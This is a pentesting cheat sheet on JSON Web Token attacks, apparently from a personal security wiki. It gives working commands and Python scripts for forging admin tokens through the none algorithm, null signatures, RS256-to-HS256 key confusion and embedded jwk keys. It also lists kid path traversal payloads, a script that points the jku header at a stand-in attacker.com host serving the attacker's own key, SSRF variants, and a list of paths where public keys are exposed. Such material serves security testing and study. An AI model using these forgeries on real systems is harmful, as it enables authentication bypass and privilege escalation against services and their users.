Appearance
🪙 Json Web Token Attacks
📚 Resources
- portswigger
- Multiple Exploits and example with Burpsuite JWT Decode
- Root-me - Doc
- vaadata - current vulnerabilities
- PayloadsAllTheThings cheatsheet
- JWT Claims RFC(7519)
🛠️ Tools
JWT Format
JWT (JSON Web Token) is compose in 3 parts, header, payload and signature.
php
# How to create JWT
$base64_header = base64_encode($header); # convert to base64 the json header
$base64_payload = base64_encode($payload); # convert to base64 the json payload
$sign = hash_hmac('sha256', $base64_header . '.' . $base64_payload, $secret, true);
$base64_header. '.' .$base64_payload. '.' .$sign;bash
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
# to base64_decode
"{"typ":"JWT","alg":"HS256"}{"username":"admin"}" # the signature is an binary valueJWT Signature
None Algorithm
Some servers may accept JWTs with the none algorithm, meaning no signature is required. This allows you to forge tokens freely.
You can try changing the algorithm to none or variants like:
noneNoneNONEnOnE
json
{"typ":"JWT","alg":"none"}{"username":"admin"}
// encoded to JWT format without using key
"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0."bash
# jwt_tool
python3 jwt_tool.py "<jwt>" -X a # give 4 JWT => none, None, NONE, nOnEManual exploit
python
import jwt
jwtToken = 'YOUR_JWT'
decodedToken = jwt.decode(jwtToken, verify=False)
# decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
print(noneEncoded.decode())Null Signature Attack (CVE-2020-28042)
This vulnerability affects certain JWT libraries (e.g., jsonwebtoken in Node.js) where a missing or null key leads to skipping signature verification, even with a valid-looking alg.
Encoded JWT (no signature, but still uses HS256 in header):
json
{"typ":"JWT","alg":"HS256"}{"username":"admin"}
// encoded to JWT format without using key
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0."bash
# jwt_tool
python3 jwt_tool.py "<jwt>" -X n # Removes the signature without changing algKey Confusion Attack RS256 to HS256 (CVE-2016-5431)
The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If a server expects a JWT signed with RS256 (asymmetric), but doesn't strictly enforce the algorithm, an attacker can switch it to HS256 (symmetric).
The backend may then mistakenly use the RSA public key—normally used only for verification—as the HMAC secret key, allowing forged tokens to be accepted as valid.
This works if the public key is accessible, for example when reused as the server’s TLS certificate:
bash
openssl s_client -connect example.com:443 | openssl x509 -pubkey -nooutOr the .pem public key file might be directly accessible on the server.
bash
python3 jwt_tool.py $(cat jwt) -X k -pk public_key.pemJWT Signature - Key Injection Attack (CVE-2018-0114)
This vulnerability affects JWT implementations that accept a
jwk(JSON Web Key) parameter in the token header. An attacker can generate their own RSA key pair, sign a malicious token with their private key, and embed the corresponding public key directly into the token's header via thejwkfield. If the server does not properly validate the source of the key, it may trust this embedded key and accept the forged token as valid. This can lead to authentication bypass and privilege escalation. The issue was notably present in versions of the Cisconode-joselibrary prior to 0.11.0.
Exploit:
- jwt_tool
bash
pytho3 jwt_tool.py $(cat jwt) -X iUsing JWT Editor portswigger -> Doc: JWK exploit
Python script to JWK attack
python
#!/usr/bin/env python3
# Dependencies :
# pip install PyJWT pyjwt[crypto] pycryptodome
from base64 import urlsafe_b64encode
from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA
import jwt
# Generate RSA key pair (1024 bits)
rsa = RSA.generate(1024)
# JWT header with embedded public key (JWK)
header = {
"alg": "RS256",
"type": "JWT",
"jwk": {
"kty": "RSA",
"kid": "jwt_tool",
"use": "sig",
"e": urlsafe_b64encode(long_to_bytes(rsa.e)).decode().rstrip("="),
"n": urlsafe_b64encode(long_to_bytes(rsa.n)).decode().rstrip("=")
}
}
payload = {
"user": "admin"
}
# Sign a token using the private key, include JWK in the header
jwt_encoded = jwt.encode(
payload,
rsa.export_key(),
algorithm='RS256',
headers=header
)
# (Optional) Verify token using the public key
jwt.decode(
jwt_encoded,
rsa.public_key().export_key(),
algorithms=["RS256"]
)
print(f"Payload:\n{jwt_encoded}")JWT Claims
KID (Key ID)
The kid value, defined which file is used to sign the JWT. PATH traversal, it's exploitable.
bash
..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdev%2Fnull # url encoded payload
....//....//....//....//....//....//dev/null # if replace ../ by '', with ....// after replace, return ../
..././..././..././..././..././dev/null # replace ../ in ..././ => .'../'./ => ../jwt_tool :
bash
jwt_tool $(cat jwt) -T # replace kid by ....//dev/null, and other values
# put value in new_jwt
jwt_tool $(cat new_jwt) -X k -pk /dev/null
# sign the jwt with /dev/null, the server verify too the signature with /dev/null and the jwt has the rigth signatureIn JWT, the kid value is vulnerable if bad escape, and this is very dangerous because this value specify key. The most know attacks are : SQL injection, LDAP injection, Path traversale, Command injection
JWKS - jku header injection
The jku (`JSON Web Key Set URL) header tells the server where to fetch the public key used to verify the JWT signature.
There are two common formats:
jwk.json- used to store a single key:
json
{
"kty": "RSA",
"kid": "13d051bf-c761-4710-9ea0-0684b5b844e3",
"e": "AQAB",
"n": "2VzfrhhrHKKkfkFMJd[...]OyUjsQcHJUrpHUcfmU"
}jwks.json- used to store multiple keys.
json
{
"keys": [
{
"kty": "RSA",
"kid": "13d051bf-c761-4710-9ea0-0684b5b844e3",
"e": "AQAB",
"n": "2VzfrhhrHKKkfkFMJd[...]OyUjsQcHJUrpHUcfmU"
}
]
}If the jku header is user-controlled, host your own JWK(S) file on a server to trick the application into using your key.
⚙️ Python script to generate a fake JWKS and sign a JWT
python
#!/usr/bin/env python3
# Dependencies :
# pip install PyJWT pyjwt[crypto] pycryptodome
from base64 import urlsafe_b64encode
from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA
import jwt
import uuid
import json
import calendar
import time
import sys
file_type_choice = input(
'Please, choose the file format between :\r\n[1] jwk.json (single key)\r\n[2] jwks.json (multiple keys)\r\nYour choice: ')
if file_type_choice not in ['1', '2']:
sys.exit('Please choose option 1 or 2!')
# Genarate RSA key pair
rsa = RSA.generate(2048)
kid = str(uuid.uuid4())
url_file = "jwk.json" if file_type_choice == '1' else "jwks.json"
url = f"http://attacker.com/{url_file}"
print(f"\r\n[+] JWKS URL (jku): {url}\r\n")
# JWKS to be published on the endpoint
# Possible to add several keys like => keys : [{key1}, {key2}]
jwk = {
"kty": "RSA",
"kid": kid,
"e": urlsafe_b64encode(long_to_bytes(rsa.e)).decode().rstrip("="),
"n": urlsafe_b64encode(long_to_bytes(rsa.n)).decode().rstrip("=")
}
# If the user chose multiple keys (jwks.json), wrap the key in a "keys" list
with open(url_file, 'w') as f:
json.dump({"keys": [jwk]} if file_type_choice == '2' else jwk, f, indent=2)
# Export key to sign with another tool ...
with open('private_key.pem', 'wb') as f:
f.write(rsa.export_key())
# JWT payload
payload = {
"user": "admin",
"iat": calendar.timegm(time.gmtime())
}
# JWT header — necessary informations
headers = {
"alg": "RS256",
"kid": kid,
"jku": url
}
# Signature du token
jwt_encoded = jwt.encode(
payload,
rsa.export_key(),
algorithm='RS256',
headers=headers
)
print(f"JWT:\n{jwt_encoded}\n")The Python script above generates a jku with an attack URL and creates two files: the first file is jwk.json or jwks.json, containing the public key, and the second file, private_key.pem, contains the RSA private key. The private key can then be used to sign a payload with another tool. This tool also generates the final JWT token, ready to be sent to a vulnerable application.
🛠️ Usage with jwt_tool
Look : jwt_tool.md cheathseet jwk - jku
🌐 SSRF
If the web server allows only localhost IPs or applies a filter, you can exploit an SSRF vulnerability. This works when the server fetches keys from the URL specified in the jku header.
json
{ "jku": "http://localhost.attacker.com.nip.io" }Note
jkuis dangerous when not validated server-side — it allows you to serve your own key.JWTs signed with your own private key will be accepted if the server fetches your malicious
jwks.jsonvia the injectedjku.When using
-jw, make sure your JWK includes private key fields (d,p,q,dp,dq,qi), not just the public part.
JWT Disclosure
If you find the public key used to sign a JWT HS256 you can generate your own valid tokens with any payload you want, as the server will accept them as legitimate.
🔓 Public Key .pem Exposure
The public key used for JWT verification may sometimes be directly accessible on the server, especially if it's reused across services or exposed unintentionally.
bash
/public.pem
/jwt.pem
/token_key.pem
/jwks.json
/.well-known/jwks.json
/.well-known/keys.pem
/api/keys
/api/v1/keys
/certs/public.pem
/static/jwt.pem
/config/jwt_public.pem
/openid/connect/jwks.json💡 Also look for them in JavaScript files or API responses.
JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
bash
# Exemple of response
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=JWT Signature - Recover Public Key From Signed JWTs
The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
- Tool to recover JWT public key for RSxxx algorithms
- Second tool, to compute an RSA public key from two signed JWTs
Brute force
You can used the Brute force on the jwt, with hashcat or jwt_tool by example.
bash
jwt_tool "<jwt>" -C -d "wordlist.txt"
hashcat -a 0 -m 16500 jwt.txt wordlist.txtcheck out the JWT Attacks tools cheat sheet
Tips
bash
# - Look the parameters used, if pk is on the server, replace value
# - Look if exp existed and test if the exp value if respected
# - Brute-force, false sign
# - Base64-url if the same as base64 but he replace '-' and "\_" by '+' and '/'